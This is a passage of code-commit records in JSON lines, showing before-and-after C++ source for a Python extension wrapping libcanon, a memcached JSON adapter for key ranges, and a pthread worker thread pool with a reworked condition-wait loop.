action.  The\naccompanied action can be given positionally or by the keyword ``acc``, and it\nwill be manipulated according to the convention in libcanon.\n\nQuerying the length of a Perm object gives the size of the permutation domain,\nwhile indexing it gives the pre-image of the given integral point.  The\naccompanied action can be obtained by getting the attribute ``acc``.\nOtherwise, this data type is mostly opaque.\n\n)__doc__\";\n\n\/** Type definition for Perm class.\n *\/\n\n\/\/ clang-format off\nstatic PyTypeObject perm_type = {\n    PyVarObject_HEAD_INIT(NULL, 0)\n    \"drudge.canonpy.Perm\",\n    sizeof(Perm_object),\n    0,\n    (destructor) perm_dealloc,                  \/* tp_dealloc *\/\n    0,                                          \/* tp_print *\/\n    0,                                          \/* tp_getattr *\/\n    0,                                          \/* tp_setattr *\/\n    0,                                          \/* tp_reserved *\/\n    (reprfunc) perm_repr,                       \/* tp_repr *\/\n    0,                                          \/* tp_as_number *\/\n    &perm_as_sequence,                          \/* tp_as_sequence *\/\n    0,                                          \/* tp_as_mapping *\/\n    0,                                          \/* tp_hash *\/\n    0,                                          \/* tp_call *\/\n    0,                                          \/* tp_str *\/\n    0, \/* In main. *\/                           \/* tp_getattro *\/\n    0,                                          \/* tp_setattro *\/\n    0,                                          \/* tp_as_buffer *\/\n    Py_TPFLAGS_DEFAULT,                         \/* tp_flags *\/\n    perm_doc,                                   \/* tp_doc *\/\n    0,                                          \/* tp_traverse *\/\n    0,                                          \/* tp_clear *\/\n    0,                                          \/* tp_richcompare *\/\n    0,                                          \/* tp_weaklistoffset *\/\n    0,                                          \/* tp_iter *\/\n    0,                                          \/* tp_iternext *\/\n    perm_methods,                               \/* tp_methods *\/\n    0,                                          \/* tp_members *\/\n    perm_getsets,                               \/* tp_getset *\/\n    0,                                          \/* tp_base *\/\n    0,                                          \/* tp_dict *\/\n    0,                                          \/* tp_descr_get *\/\n    0,                                          \/* tp_descr_set *\/\n    0,                                          \/* tp_dictoffset *\/\n    0,                                          \/* tp_init *\/\n    0,                                          \/* tp_alloc *\/\n    perm_new,                                   \/* tp_new *\/\n    0,                                          \/* tp_free *\/\n};\n\/\/ clang-format on\n\n\/\/\n\/\/ Python module definition\n\/\/ ========================\n\/\/\n\n\/** Docstring for the canonpy module.\n *\/\n\nstatic const char* canonpy_docstring\n    = R\"__doc__(Canonpy, simple wrapper over libcanon for Python.\n\nThis wrapper of libcanon is directly targeted towards usage using drudge.\nHere, we have a class `Perm`, which wraps over the `Simple_perm` class in\nlibcanon, another class `SimsTransv`, which wraps over the `Sims_trasv` class\nfor `Simple_perm`.  And we also have the function `canon_eldag` to canonicalize\nan Eldag.\n\n)__doc__\";\n\n\/** Methods in the canonpy module.\n *\/\n\nstatic PyMethodDef canonpy_methods[] = { { NULL, NULL, 0, NULL } };\n\n\/** Executes the initialization of the canonpy module.\n *\/\n\nstatic int canonpy_exec(PyObject* m)\n{\n    \/\/\n    \/\/ Add the class for Perm.\n    \/\/\n\n    perm_type.tp_getattro = PyObject_GenericGetAttr;\n    if (PyType_Ready(&perm_type) < 0)\n        return -1;\n    Py_INCREF(&perm_type);\n    PyModule_AddObject(m, \"Perm\", (PyObject*)&perm_type);\n\n    return 0;\n}\n\n\/** Slots for for canonpy module definition.\n *\/\n\nstatic struct PyModuleDef_Slot canonpy_slots[] = {\n    { Py_mod_exec, (void*)canonpy_exec }, { 0, NULL },\n};\n\n\/** Canonpy module definition.\n *\/\n\n\/\/ clang-format off\n\nstatic struct PyModuleDef canonpy_module = {\n    PyModuleDef_HEAD_INIT,\n    \"drudge.canonpy\",\n    canonpy_docstring,\n    0, \/\/ m-size\n    canonpy_methods,\n    canonpy_slots,\n    NULL, \/\/ Transverse\n    NULL, \/\/ Clear\n    NULL  \/\/ Free\n};\n\n\/\/ clang-format on\n\n\/** The published canonpy function.\n *\/\n\nPyMODINIT_FUNC PyInit_canonpy(void)\n{\n    return PyModuleDef_Init(&canonpy_module);\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef MEMCACHED_PROTOCOL_JSON_ADAPTER_TCC_\n#define MEMCACHED_PROTOCOL_JSON_ADAPTER_TCC_\n\n#include \"memcached\/protocol_json_adapter.hpp\"\n\n#include <exception>\n\n#include \"http\/http.hpp\"\n#include \"http\/json.hpp\"\n\n\/\/json adapter concept for `store_key_t`\ntemplate <class ctx_t>\ntypename json_adapter_if_t<ctx_t>::json_adapter_map_t get_json_subfields(store_key_t *, const ctx_t &) {\n    return typename json_adapter_if_t<ctx_t>::json_adapter_map_t();\n}\n\ntemplate<class ctx_t>\ncJSON *render_as_json(store_key_t *target, const ctx_t &) {\n    return cJSON_CreateString(percent_escaped_string(key_to_unescaped_str(*target)).c_str());\n}\n\ntemplate <class ctx_t>\nvoid apply_json_to(cJSON *change, store_key_t *target, const ctx_t &) {\n    std::string str(percent_unescaped_string(get_string(change)));\n    if (!unescaped_str_to_key(str.c_str(), str.length(), target)) {\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a store_key_t.\\n\", get_string(change).c_str()));\n    }\n}\n\ntemplate <class ctx_t>\nvoid  on_subfield_change(store_key_t *, const ctx_t &) { }\n\n\/\/ json adapter for key_range_t\ntemplate <class ctx_t>\ntypename json_adapter_if_t<ctx_t>::json_adapter_map_t get_json_subfields(key_range_t *, const ctx_t &) {\n    return typename json_adapter_if_t<ctx_t>::json_adapter_map_t();\n}\n\ntemplate <class ctx_t>\ncJSON *render_as_json(key_range_t *target, const ctx_t &c) {\n    scoped_cJSON_t res(cJSON_CreateArray());\n\n    cJSON_AddItemToArray(res.get(), render_as_json(&target->left, c));\n\n    if (!target->right.unbounded) {\n        cJSON_AddItemToArray(res.get(), render_as_json(&target->right.key, c));\n    } else {\n        cJSON_AddItemToArray(res.get(), cJSON_CreateNull());\n    }\n\n    std::string val = cJSON_print_std_string(res.get());\n    return cJSON_CreateString(val.c_str());\n}\n\ntemplate <class ctx_t>\nvoid apply_json_to(cJSON *change, key_range_t *target, const ctx_t &c) {\n    scoped_cJSON_t js(cJSON_Parse(get_string(change).c_str()));\n    if (js.get() == NULL) {\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a memcached_protocol_t::region_t.\\n\", get_string(change).c_str()));\n    }\n\n    \/* TODO: If something other than an array is passed here, then it will crash\n    rather than report the error to the user. *\/\n    json_array_iterator_t it(js.get());\n\n    cJSON *first = it.next();\n    if (first == NULL) {\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a memcached_protocol_t::region_t.\\n\", get_string(change).c_str()));\n    }\n\n    cJSON *second = it.next();\n    if (second == NULL) {\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a memcached_protocol_t::region_t.\\n\", get_string(change).c_str()));\n    }\n\n    if (it.next() != NULL) {\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a memcached_protocol_t::region_t.\\n\", get_string(change).c_str()));\n    }\n\n    try {\n        store_key_t left;\n        apply_json_to(first, &left, c);\n        if (second->type == cJSON_NULL) {\n            *target = key_range_t(key_range_t::closed, left,\n                                  key_range_t::none,   store_key_t(\"\"));\n        } else {\n            store_key_t right;\n            apply_json_to(second, &right, c);\n            *target = key_range_t(key_range_t::closed, left,\n                                  key_range_t::open,   right);\n        }\n    } catch (std::runtime_error) {\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a memcached_protocol_t::region_t.\\n\", get_string(change).c_str()));\n    }\n}\n\ntemplate <class ctx_t>\nvoid  on_subfield_change(key_range_t *, const ctx_t &) { }\n\n\n\/\/ json adapter for hash_region_t<key_range_t>\n\/\/ TODO(sam): I don't know what the heck I'm doing.\n\ntemplate <class ctx_t>\ntypename json_adapter_if_t<ctx_t>::json_adapter_map_t get_json_subfields(hash_region_t<key_range_t> *target, const ctx_t &) {\n    typename json_adapter_if_t<ctx_t>::json_adapter_map_t ret;\n    ret[\"beg\"] = boost::shared_ptr<json_adapter_if_t<ctx_t> >(new json_adapter_t<uint64_t, ctx_t>(&target->beg));\n    ret[\"end\"] = boost::shared_ptr<json_adapter_if_t<ctx_t> >(new json_adapter_t<uint64_t, ctx_t>(&target->end));\n    ret[\"key_range\"] = boost::shared_ptr<json_adapter_if_t<ctx_t> >(new json_adapter_t<key_range_t, ctx_t>(&target->inner));\n    return ret;\n}\n\ntemplate <class ctx_t>\ncJSON *render_as_json(hash_region_t<key_range_t> *target, const ctx_t &c) {\n    return render_as_directory(target, c);\n}\n\ntemplate <class ctx_t>\nvoid apply_json_to(cJSON *change, hash_region_t<key_range_t> *target, const ctx_t &ctx) {\n    apply_as_directory(change, target, ctx);\n}\n\ntemplate <class ctx_t>\nvoid on_subfield_change(hash_region_t<key_range_t> *, const ctx_t &) { }\n\n\n\n#endif  \/\/ MEMCACHED_PROTOCOL_JSON_ADAPTER_TCC_\n<commit_msg>Made hash_region_t json adapter just do assertion that there is no hash sharding.<commit_after>#ifndef MEMCACHED_PROTOCOL_JSON_ADAPTER_TCC_\n#define MEMCACHED_PROTOCOL_JSON_ADAPTER_TCC_\n\n#include \"memcached\/protocol_json_adapter.hpp\"\n\n#include <exception>\n\n#include \"http\/http.hpp\"\n#include \"http\/json.hpp\"\n\n\/\/json adapter concept for `store_key_t`\ntemplate <class ctx_t>\ntypename json_adapter_if_t<ctx_t>::json_adapter_map_t get_json_subfields(store_key_t *, const ctx_t &) {\n    return typename json_adapter_if_t<ctx_t>::json_adapter_map_t();\n}\n\ntemplate<class ctx_t>\ncJSON *render_as_json(store_key_t *target, const ctx_t &) {\n    return cJSON_CreateString(percent_escaped_string(key_to_unescaped_str(*target)).c_str());\n}\n\ntemplate <class ctx_t>\nvoid apply_json_to(cJSON *change, store_key_t *target, const ctx_t &) {\n    std::string str(percent_unescaped_string(get_string(change)));\n    if (!unescaped_str_to_key(str.c_str(), str.length(), target)) {\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a store_key_t.\\n\", get_string(change).c_str()));\n    }\n}\n\ntemplate <class ctx_t>\nvoid  on_subfield_change(store_key_t *, const ctx_t &) { }\n\n\/\/ json adapter for key_range_t\ntemplate <class ctx_t>\ntypename json_adapter_if_t<ctx_t>::json_adapter_map_t get_json_subfields(key_range_t *, const ctx_t &) {\n    return typename json_adapter_if_t<ctx_t>::json_adapter_map_t();\n}\n\ntemplate <class ctx_t>\ncJSON *render_as_json(key_range_t *target, const ctx_t &c) {\n    scoped_cJSON_t res(cJSON_CreateArray());\n\n    cJSON_AddItemToArray(res.get(), render_as_json(&target->left, c));\n\n    if (!target->right.unbounded) {\n        cJSON_AddItemToArray(res.get(), render_as_json(&target->right.key, c));\n    } else {\n        cJSON_AddItemToArray(res.get(), cJSON_CreateNull());\n    }\n\n    std::string val = cJSON_print_std_string(res.get());\n    return cJSON_CreateString(val.c_str());\n}\n\ntemplate <class ctx_t>\nvoid apply_json_to(cJSON *change, key_range_t *target, const ctx_t &c) {\n    \/\/ TODO: Can we so casually call get_string on a cJSON object?  What if it's not a string?\n    scoped_cJSON_t js(cJSON_Parse(get_string(change).c_str()));\n    if (js.get() == NULL) {\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a key_range_t.\", get_string(change).c_str()));\n    }\n\n    \/* TODO: If something other than an array is passed here, then it will crash\n    rather than report the error to the user. *\/\n    json_array_iterator_t it(js.get());\n\n    cJSON *first = it.next();\n    if (first == NULL) {\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a key_range_t.\", get_string(change).c_str()));\n    }\n\n    cJSON *second = it.next();\n    if (second == NULL) {\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a key_range_t.\", get_string(change).c_str()));\n    }\n\n    if (it.next() != NULL) {\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a key_range_t.\", get_string(change).c_str()));\n    }\n\n    try {\n        store_key_t left;\n        apply_json_to(first, &left, c);\n        if (second->type == cJSON_NULL) {\n            *target = key_range_t(key_range_t::closed, left,\n                                  key_range_t::none,   store_key_t(\"\"));\n        } else {\n            store_key_t right;\n            apply_json_to(second, &right, c);\n            *target = key_range_t(key_range_t::closed, left,\n                                  key_range_t::open,   right);\n        }\n    } catch (std::runtime_error) {  \/\/ TODO Explain wtf can throw a std::runtime_error to us here.\n        throw schema_mismatch_exc_t(strprintf(\"Failed to parse %s as a memcached_protocol_t::region_t.\\n\", get_string(change).c_str()));\n    }\n}\n\ntemplate <class ctx_t>\nvoid  on_subfield_change(key_range_t *, const ctx_t &) { }\n\n\n\n\/\/ json adapter for hash_region_t<key_range_t>\n\n\/\/ TODO: This is extremely ghetto: we assert that the hash region isn't split by hash value (because why should the UI ever be exposed to that?) and then only serialize the key range.\n\ntemplate <class ctx_t>\ntypename json_adapter_if_t<ctx_t>::json_adapter_map_t get_json_subfields(UNUSED hash_region_t<key_range_t> *target, UNUSED const ctx_t &) {\n    return typename json_adapter_if_t<ctx_t>::json_adapter_map_t();\n}\n\ntemplate <class ctx_t>\ncJSON *render_as_json(hash_region_t<key_range_t> *target, const ctx_t &c) {\n    \/\/ TODO: ghetto low level hash_region_t assertion.\n    guarantee(target->beg == 0 && target->end == HASH_REGION_HASH_SIZE);\n\n    return render_as_json(&target->inner, c);\n}\n\ntemplate <class ctx_t>\nvoid apply_json_to(cJSON *change, hash_region_t<key_range_t> *target, const ctx_t &ctx) {\n    target->beg = 0;\n    target->end = HASH_REGION_HASH_SIZE;\n    apply_json_to(change, &target->inner, ctx);\n}\n\ntemplate <class ctx_t>\nvoid on_subfield_change(hash_region_t<key_range_t> *, const ctx_t &) { }\n\n\n#endif  \/\/ MEMCACHED_PROTOCOL_JSON_ADAPTER_TCC_\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>add cl.hpp<commit_after><|endoftext|>"}
{"text":"<commit_before>\n\/* vim: set shiftwidth=4 tabstop=4: *\/\n\n#include \"WorkerThreadPool.h\"\n#include \"WTPExceptions.h\"\n\n#include <pthread.h>\n#include <string>\n#include <iostream>\n\nusing namespace std;\nusing namespace WTP;\n\nstatic void *thread_start(void *arg)\n{\n    WorkerThreadPool *wtp = (WorkerThreadPool *)arg;\n    wtp->_threadStart();\n\n    return NULL;\n}\n\nWTP::WorkerThreadPool::WorkerThreadPool(int nthreads) :\n                   _nthreads(nthreads), _nqueued(0), _nprocessing(0),\n                    _totalItems(0), _shuttingDown(false), _gen(0)\n{\n    int rc = pthread_mutex_init(&_mutex, NULL);\n    if (rc != 0)\n        throw InternalError(\"Failed to initialize mutex\", __FILE__, __LINE__);\n    rc = pthread_cond_init(&_cond, NULL);\n    if (rc != 0)\n        throw InternalError(\"Failed to initialize conditional variable\",\n                            __FILE__, __LINE__);\n    rc = pthread_cond_init(&_empty_cond, NULL);\n    if (rc != 0)\n        throw InternalError(\"Failed to initialize conditional variable\",\n                            __FILE__, __LINE__);\n\n    WTPqueue defqueue;\n    queuelist.push_back(defqueue);\n    _threadpool = new pthread_t[nthreads];\n}\n\n\nvoid WTP::WorkerThreadPool::startThreads()\n{\n    int i;\n    for (i=0; i<_nthreads; i++) {\n        pthread_t thread;\n        int rc = pthread_create(&thread, NULL, thread_start, (void *)this);\n        if (rc) {\n            throw InternalError(\"Thread creation failed\", __FILE__, __LINE__);\n        }\n        _threadpool[i] = thread;\n    }\n}\n\nbool WTP::WorkerThreadPool::isEmpty()\n{\n    lock();\n    int ret = _totalItems;\n    unlock();\n    return (ret == 0);\n\n}\n\nvoid WTP::WorkerThreadPool::shutDown()\n{\n    lock();\n    _shuttingDown = true;\n    pthread_cond_broadcast(&_cond);\n    unlock();\n    \/\/ Wait for all threads to die.\n    int i;\n    for (i=0; i< _nthreads; i++) {\n        pthread_join(_threadpool[i], NULL);\n    }\n\n    \/\/ No more worker threads running. We don't need the lock now.\n    \/\/ Drain and free up queues.\n\n    while(!queuelist.empty()) {\n        WTPqueue& q = queuelist.back();\n        q.drain();\n        queuelist.pop_back();\n    }\n\n}\n\nvoid WTP::WorkerThreadPool::_threadStart()\n{\n    uint32_t total_items = 0;\n    while (1) {\n        lock();  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Begin critical region \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n        if(_shuttingDown == true) {\n            unlock();\n            return;\n        }\n\n        unsigned int qid;\n        WTPqueue* pqueue = _getNextQueue(qid);\n        if (pqueue == NULL) {\n            pthread_cond_wait(&_cond, &_mutex);\n            if(_shuttingDown == true) {\n                unlock();\n                return;\n            }\n            unlock();\n            continue;\n        }\n\n        WorkItem *wi = pqueue->front(); pqueue->pop();\n        _nqueued--; _nprocessing++;\n        wi->incrRefcount();\n        pqueue->deliverEvent(WTPqueue::WI_START);\n\n        unlock(); \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ End critical region \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n        if (wi->getState() != WorkItem::QUEUED)\n            throw CallerError(\"Workitem not in queued state\"); \/\/ Caller added an illegal WorkItem\n        wi->setState(WorkItem::RUNNING);\n        wi->setThreadPool(this);\n        wi->setQID(qid);\n\n        wi->run(); \/\/ Need to catch Exceptions. TBD.\n\n        wi->setThreadPool(NULL);\n        wi->setState(WorkItem::IDLE);\n\n        lock(); \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Begin critical region \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n        _nprocessing--;\n\n        pqueue->deliverEvent(WTPqueue::WI_END);\n        int refcount = wi->decrRefcount();\n        if (refcount == 0) {\n            decrTotalItems();\n            pqueue->deliverEvent(WTPqueue::ALL_DONE);\n        }\n        \n        WorkItem *parent = NULL;\n        if (wi->isSubItem()) {\n            parent = wi->getParent();\n            int prefcount = parent->decrRefcount();\n            unsigned int pqid = parent->getQID();\n            WTPqueue& parentQueue = getQueue(pqid);\n            parentQueue.deliverEvent(WTPqueue::SI_END);\n            if (prefcount == 0) {\n                decrTotalItems();\n                parentQueue.deliverEvent(WTPqueue::ALL_DONE);\n            }\n            else\n                parent = NULL;\n        }\n\n        if (refcount > 0)\n            wi = NULL; \/\/ Don't deallocate a WI with subitems.\n\n        total_items = _totalItems;\n        pthread_cond_signal(&_cond);\n        unlock(); \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ End critical region \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n        completeItem(wi); \/\/ Note, wi may be NULL. This is OK.\n        completeItem(parent);\n\n        if (total_items == 0) {\n            lock();\n            pthread_cond_signal(&_empty_cond);\n            unlock();\n        }\n    }\n}\n\nvoid WTP::WorkerThreadPool::completeItem(WorkItem *wi)\n{\n    if (wi == NULL)\n        return;\n    wi->subItemsComplete(); \/\/ This is a caller-defined function\n\n    \/\/ cout << \"Deallocating workitem \" << wi << endl;\n    if (wi->fromFreelist()) {\n        wi->reset();\n        wi->setState(WorkItem::FREELIST);\n        wi->returnToFreelist();\n    } else {\n        wi->setState(WorkItem::INVALID);\n        delete wi;\n    }\n\n}\n\nvoid WTP::WorkerThreadPool::waitEmpty()\n{\n    lock();\n    if (_threadIsInternal()) {\n        unlock();\n        throw CallerError(\"waitEmpty() called from within WorkItem.\");\n    }\n    if (_nqueued == 0 and _nprocessing == 0) {\n        unlock();\n        return;\n    }\n    pthread_cond_wait(&_empty_cond, &_mutex);\n    unlock();\n}\n\nWTPqueue& WTP::WorkerThreadPool::getQueue(unsigned int qid)\n{\n    unsigned int size = queuelist.size();\n    if (qid >= size)\n        throw CallerError(\"Illegal queue ID specified\");\n    return queuelist.at(qid);\n}\n\nWTPqueue* WTP::WorkerThreadPool::_getNextQueue(unsigned int& qid)\n{\n    int size = queuelist.size();\n    int i;\n    for (i=0; i<size; i++) {\n        WTPqueue& q = queuelist.at(i);\n        if(!q.empty() ) {\n            if (i == 0) {\n                qid = i;\n                return &q;\n            } else {\n                if (q.getState() == WTPqueue::IDLE) {\n                    qid = i;\n                    return &q;\n                }\n            }\n        }\n    }\n\n    return NULL;\n}\n\n\/*\n * Pause the donor queue. Subitems can only be added to parallel queue.\n *\/\nvoid WTP::WorkerThreadPool::_addSubItem(WorkItem *item, WorkItem *parent)\n{\n    unsigned int donorQid = parent->getQID();\n    if (donorQid == 0)\n        throw CallerError(\"Attempt to create subitems from parallel queue\");\n    lock();\n    WTPqueue& donorQ = queuelist.at(donorQid);\n    donorQ.setWaitingWI(parent);\n    donorQ.deliverEvent(WTPqueue::SI_START);\n    unlock();\n    addWorkItem(item, 0); \/\/ Add to parallel queue.\n}\n\nvoid WTP::WorkerThreadPool::addWorkItem(WorkItem *item, unsigned int qid)\n{\n    if (item->getState() != WorkItem::IDLE)\n        throw CallerError(\"Attempt to add non-idle WorkItem to threadpool\");\n    lock();\n    \/\/ cout << \"Added workitem \" << item << endl;\n    unsigned int size = queuelist.size();\n    if (qid >= size) {\n        unlock();\n        throw CallerError(\"Attempt to add WorkItem to illegal queue ID\");\n    }\n    WTPqueue& pqueue = queuelist.at(qid);\n    item->setState(WorkItem::QUEUED);\n    item->setGen(createGen());\n    pqueue.push(item);\n    _nqueued++;\n    incrTotalItems();\n\n    pthread_cond_signal(&_cond);\n    unlock();\n}\n\nvoid WTP::WorkerThreadPool::incrTotalItems()\n{\n    _totalItems++;\n    \/\/ cout << \"Total Items=\" << _totalItems << endl;\n}\n\nvoid WTP::WorkerThreadPool::decrTotalItems()\n{\n    _totalItems--;\n    \/\/ cout << \"Total Items=\" << _totalItems << endl;\n}\n\nunsigned int WTP::WorkerThreadPool::addQueue()\n{\n    WTPqueue newqueue;\n    lock();\n    int qid = queuelist.size();\n    newqueue.setQID(qid);\n    queuelist.push_back(newqueue);\n    unlock();\n    return qid;\n}\n\nbool WTP::WorkerThreadPool::_threadIsInternal()\n{\n    pthread_t mine = pthread_self();\n    int i;\n    for (i=0; i<_nthreads; i++) {\n        if (_threadpool[i] == mine)\n            return true;\n    }\n    return false;\n}\n\nvoid WorkerThreadPool::lock()\n{\n   int rc = pthread_mutex_lock(&_mutex);\n   if (rc != 0)\n       throw InternalError(\"Failed to lock mutex\", __FILE__, __LINE__);\n}\n\nvoid WorkerThreadPool::unlock()\n{\n       int rc = pthread_mutex_unlock(&_mutex);\n       if (rc != 0)\n\t\t   throw InternalError(\"Failed to unlock mutex\", __FILE__, __LINE__);\n}\n\nuint32_t WorkerThreadPool::getTotalItems()\n{\n    uint32_t ret = 0;\n    lock();\n    ret = _totalItems;\n    unlock();\n    return ret;\n}\n\nuint32_t WorkerThreadPool::getTotalProcessing()\n{\n    uint32_t ret = 0;\n    lock();\n    ret = _nprocessing;\n    unlock();\n    return ret;\n}\n\nuint32_t WorkerThreadPool::getTotalQueued()\n{\n    uint32_t ret = 0;\n    lock();\n    ret = _nqueued;\n    unlock();\n    return ret;\n}\n\nvoid WTPqueue::drain()\n{\n    while(!this->empty()) {\n        WorkItem *wi = this->front(); this->pop();\n        if (wi->fromFreelist()) {\n            wi->reset();\n            wi->setState(WorkItem::FREELIST);\n            wi->returnToFreelist();\n        } else {\n            delete wi;\n        }\n    }\n}\n\nvoid WTPqueue::deliverEvent(enum QueueEvent evt)\n{\n    if (_qid == 0)\n        return;  \/\/ No states for the concurrent queue.\n    bool illegal = false;\n    \/\/ cout << \"Event \" << evt << \" caused queue \" << _qid << \" to transition from \" << _state << \" to \";\n    switch (evt) {\n    case WI_START:\n        if (_state == IDLE)\n            _state = PROCESSING;\n        else\n            illegal = true;\n        break;\n    case SI_START:\n        if (_state == PROCESSING or _state == PROCESSING_SI)\n            _state = PROCESSING_SI;\n        else\n            illegal = true;\n        break;\n    case WI_END:\n        if (_state == PROCESSING)\n            _state = IDLE;\n        else if (_state == PROCESSING_SI)\n            _state = PAUSED;\n        else\n            illegal = true;\n\n        break;\n    case SI_END:\n        if (_state == IDLE or _state == PROCESSING) \n            illegal = true;\n        break;\n    case ALL_DONE:\n        _state = IDLE;\n        break;\n    default:\n        throw InternalError(\"Unhandled event to WTPqueue\", __FILE__, __LINE__);\n    }\n    \/\/ cout << _state << endl;\n    if (illegal)\n        throw InternalError(\"Illegal state transition to WTPqueue\", __FILE__, __LINE__);\n\n}\n<commit_msg>Some cleanup in WorkerThreadPool.cpp<commit_after>\n\/* vim: set shiftwidth=4 tabstop=4: *\/\n\n#include \"WorkerThreadPool.h\"\n#include \"WTPExceptions.h\"\n\n#include <pthread.h>\n#include <string>\n#include <iostream>\n\nusing namespace std;\nusing namespace WTP;\n\nstatic void *thread_start(void *arg)\n{\n    WorkerThreadPool *wtp = (WorkerThreadPool *)arg;\n    wtp->_threadStart();\n\n    return NULL;\n}\n\nWTP::WorkerThreadPool::WorkerThreadPool(int nthreads) :\n                   _nthreads(nthreads), _nqueued(0), _nprocessing(0),\n                    _totalItems(0), _shuttingDown(false), _gen(0)\n{\n    int rc = pthread_mutex_init(&_mutex, NULL);\n    if (rc != 0)\n        throw InternalError(\"Failed to initialize mutex\", __FILE__, __LINE__);\n    rc = pthread_cond_init(&_cond, NULL);\n    if (rc != 0)\n        throw InternalError(\"Failed to initialize conditional variable\",\n                            __FILE__, __LINE__);\n    rc = pthread_cond_init(&_empty_cond, NULL);\n    if (rc != 0)\n        throw InternalError(\"Failed to initialize conditional variable\",\n                            __FILE__, __LINE__);\n\n    WTPqueue defqueue;\n    queuelist.push_back(defqueue);\n    _threadpool = new pthread_t[nthreads];\n}\n\n\nvoid WTP::WorkerThreadPool::startThreads()\n{\n    int i;\n    for (i=0; i<_nthreads; i++) {\n        pthread_t thread;\n        int rc = pthread_create(&thread, NULL, thread_start, (void *)this);\n        if (rc) {\n            throw InternalError(\"Thread creation failed\", __FILE__, __LINE__);\n        }\n        _threadpool[i] = thread;\n    }\n}\n\nbool WTP::WorkerThreadPool::isEmpty()\n{\n    lock();\n    int ret = _totalItems;\n    unlock();\n    return (ret == 0);\n\n}\n\nvoid WTP::WorkerThreadPool::shutDown()\n{\n    lock();\n    _shuttingDown = true;\n    pthread_cond_broadcast(&_cond);\n    unlock();\n    \/\/ Wait for all threads to die.\n    int i;\n    for (i=0; i< _nthreads; i++) {\n        pthread_join(_threadpool[i], NULL);\n    }\n\n    \/\/ No more worker threads running. We don't need the lock now.\n    \/\/ Drain and free up queues.\n\n    while(!queuelist.empty()) {\n        WTPqueue& q = queuelist.back();\n        q.drain();\n        queuelist.pop_back();\n    }\n\n}\n\nvoid WTP::WorkerThreadPool::_threadStart()\n{\n    uint32_t total_items = 0;\n    while (1) {\n        lock();  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Begin critical region \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n        unsigned int qid = 0;\n        WTPqueue* pqueue = NULL;\n        while ((pqueue = _getNextQueue(qid)) == NULL && !_shuttingDown) {\n            pthread_cond_wait(&_cond, &_mutex);\n        }\n\n        if(_shuttingDown == true) {\n            unlock();\n            return;\n        }\n\n        WorkItem *wi = pqueue->front(); pqueue->pop();\n        _nqueued--; _nprocessing++;\n        wi->incrRefcount();\n        pqueue->deliverEvent(WTPqueue::WI_START);\n\n        unlock(); \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ End critical region \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n        if (wi->getState() != WorkItem::QUEUED)\n            throw CallerError(\"Workitem not in queued state\"); \/\/ Caller added an illegal WorkItem\n        wi->setState(WorkItem::RUNNING);\n        wi->setThreadPool(this);\n        wi->setQID(qid);\n\n        wi->run(); \/\/ Need to catch Exceptions. TBD.\n\n        wi->setThreadPool(NULL);\n        wi->setState(WorkItem::IDLE);\n\n        lock(); \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Begin critical region \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n        _nprocessing--;\n\n        pqueue->deliverEvent(WTPqueue::WI_END);\n        int refcount = wi->decrRefcount();\n        if (refcount == 0) {\n            decrTotalItems();\n            pqueue->deliverEvent(WTPqueue::ALL_DONE);\n        }\n        \n        WorkItem *parent = NULL;\n        if (wi->isSubItem()) {\n            parent = wi->getParent();\n            int prefcount = parent->decrRefcount();\n            unsigned int pqid = parent->getQID();\n            WTPqueue& parentQueue = getQueue(pqid);\n            parentQueue.deliverEvent(WTPqueue::SI_END);\n            if (prefcount == 0) {\n                decrTotalItems();\n                parentQueue.deliverEvent(WTPqueue::ALL_DONE);\n            }\n            else\n                parent = NULL;\n        }\n\n        if (refcount > 0)\n            wi = NULL; \/\/ Don't deallocate a WI with subitems.\n\n        total_items = _totalItems;\n        pthread_cond_signal(&_cond);\n        unlock(); \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ End critical region \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n        completeItem(wi); \/\/ Note, wi may be NULL. This is OK.\n        completeItem(parent);\n\n        if (total_items == 0) {\n            lock();\n            pthread_cond_signal(&_empty_cond);\n            unlock();\n        }\n    }\n}\n\nvoid WTP::WorkerThreadPool::completeItem(WorkItem *wi)\n{\n    if (wi == NULL)\n        return;\n    wi->subItemsComplete(); \/\/ This is a caller-defined function\n\n    \/\/ cout << \"Deallocating workitem \" << wi << endl;\n    if (wi->fromFreelist()) {\n        wi->reset();\n        wi->setState(WorkItem::FREELIST);\n        wi->returnToFreelist();\n    } else {\n        wi->setState(WorkItem::INVALID);\n        delete wi;\n    }\n\n}\n\nvoid WTP::WorkerThreadPool::waitEmpty()\n{\n    lock();\n    if (_threadIsInternal()) {\n        unlock();\n        throw CallerError(\"waitEmpty() called from within WorkItem.\");\n    }\n    if (_nqueued == 0 and _nprocessing == 0) {\n        unlock();\n        return;\n    }\n    pthread_cond_wait(&_empty_cond, &_mutex);\n    unlock();\n}\n\nWTPqueue& WTP::WorkerThreadPool::getQueue(unsigned int qid)\n{\n    unsigned int size = queuelist.size();\n    if (qid >= size)\n        